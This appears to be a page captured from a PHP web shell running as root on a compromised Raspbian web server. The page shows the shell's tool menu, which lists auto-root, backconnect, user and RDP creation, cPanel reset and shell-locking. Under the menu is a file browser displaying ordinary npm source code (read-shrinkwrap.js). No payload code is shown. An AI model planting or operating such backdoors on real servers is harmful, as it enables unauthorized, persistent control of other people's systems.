Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
lib /
install /
[ HOME SHELL ]
Name
Size
Permission
Action
action
[ DIR ]
drwxr-xr-x
access-error.js
202
B
-rw-r--r--
actions.js
5.51
KB
-rw-r--r--
and-add-parent-to-errors.js
324
B
-rw-r--r--
and-finish-tracker.js
360
B
-rw-r--r--
and-ignore-errors.js
204
B
-rw-r--r--
check-permissions.js
1.85
KB
-rw-r--r--
copy-tree.js
770
B
-rw-r--r--
decompose-actions.js
1.81
KB
-rw-r--r--
deps.js
28.21
KB
-rw-r--r--
diff-trees.js
8.72
KB
-rw-r--r--
exists.js
775
B
-rw-r--r--
flatten-tree.js
1021
B
-rw-r--r--
get-requested.js
427
B
-rw-r--r--
has-modern-meta.js
563
B
-rw-r--r--
inflate-bundled.js
628
B
-rw-r--r--
inflate-shrinkwrap.js
6.64
KB
-rw-r--r--
is-dev-dep.js
175
B
-rw-r--r--
is-extraneous.js
618
B
-rw-r--r--
is-fs-access-available.js
763
B
-rw-r--r--
is-only-dev.js
1.19
KB
-rw-r--r--
is-only-optional.js
462
B
-rw-r--r--
is-opt-dep.js
185
B
-rw-r--r--
is-prod-dep.js
172
B
-rw-r--r--
module-staging-path.js
259
B
-rw-r--r--
mutate-into-logical-tree.js
4.52
KB
-rw-r--r--
node.js
1.85
KB
-rw-r--r--
read-shrinkwrap.js
3.56
KB
-rw-r--r--
realize-shrinkwrap-specifier.j...
621
B
-rw-r--r--
report-optional-failure.js
1.02
KB
-rw-r--r--
save.js
5.75
KB
-rw-r--r--
update-package-json.js
1.87
KB
-rw-r--r--
validate-args.js
2.45
KB
-rw-r--r--
validate-tree.js
3.1
KB
-rw-r--r--
writable.js
1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : read-shrinkwrap.js
'use strict' const BB = require('bluebird') const fs = require('graceful-fs') const iferr = require('iferr') const inflateShrinkwrap = require('./inflate-shrinkwrap.js') const log = require('npmlog') const parseJSON = require('../utils/parse-json.js') const path = require('path') const PKGLOCK_VERSION = require('../npm.js').lockfileVersion const readFileAsync = BB.promisify(fs.readFile) module.exports = readShrinkwrap function readShrinkwrap (child, next) { if (child.package._shrinkwrap) return process.nextTick(next) BB.join( maybeReadFile('npm-shrinkwrap.json', child), // Don't read non-root lockfiles child.isTop && maybeReadFile('package-lock.json', child), child.isTop && maybeReadFile('package.json', child), (shrinkwrap, lockfile, pkgJson) => { if (shrinkwrap && lockfile) { log.warn('read-shrinkwrap', 'Ignoring package-lock.json because there is already an npm-shrinkwrap.json. Please use only one of the two.') } const name = shrinkwrap ? 'npm-shrinkwrap.json' : 'package-lock.json' const parsed = parsePkgLock(shrinkwrap || lockfile, name) if (parsed && parsed.lockfileVersion !== PKGLOCK_VERSION) { log.warn('read-shrinkwrap', `This version of npm is compatible with lockfileVersion@${PKGLOCK_VERSION}, but ${name} was generated for lockfileVersion@${parsed.lockfileVersion || 0}. I'll try to do my best with it!`) } child.package._shrinkwrap = parsed } ).then(() => next(), next) } function maybeReadFile (name, child) { return readFileAsync( path.join(child.path, name), 'utf8' ).catch({code: 'ENOENT'}, () => null) } module.exports.andInflate = function (child, next) { readShrinkwrap(child, iferr(next, function () { if (child.package._shrinkwrap) { return inflateShrinkwrap(child, child.package._shrinkwrap || {}, next) } else { return next() } })) } const PARENT_RE = /\|{7,}/g const OURS_RE = /\<{7,}/g const THEIRS_RE = /\={7,}/g const END_RE = /\>{7,}/g module.exports._isDiff = isDiff function isDiff (str) { return str.match(OURS_RE) && str.match(THEIRS_RE) && str.match(END_RE) } module.exports._parsePkgLock = parsePkgLock function parsePkgLock (str, filename) { if (!str) { return null } try { return parseJSON(str) } catch (e) { if (isDiff(str)) { log.warn('conflict', `A git conflict was detected in ${filename}. Attempting to auto-resolve.`) const pieces = str.split(/[\n\r]+/g).reduce((acc, line) => { if (line.match(PARENT_RE)) acc.state = 'parent' else if (line.match(OURS_RE)) acc.state = 'ours' else if (line.match(THEIRS_RE)) acc.state = 'theirs' else if (line.match(END_RE)) acc.state = 'top' else { if (acc.state === 'top' || acc.state === 'ours') acc.ours += line if (acc.state === 'top' || acc.state === 'theirs') acc.theirs += line if (acc.state === 'top' || acc.state === 'parent') acc.parent += line } return acc }, { state: 'top', ours: '', theirs: '', parent: '' }) try { const ours = parseJSON(pieces.ours) const theirs = parseJSON(pieces.theirs) return reconcileLockfiles(ours, theirs) } catch (_e) { log.error('conflict', `Automatic conflict resolution failed. Please manually resolve conflicts in ${filename} and try again.`) log.silly('conflict', `Error during resolution: ${_e}`) throw e } } else { throw e } } } function reconcileLockfiles (parent, ours, theirs) { return Object.assign({}, ours, theirs) }
Close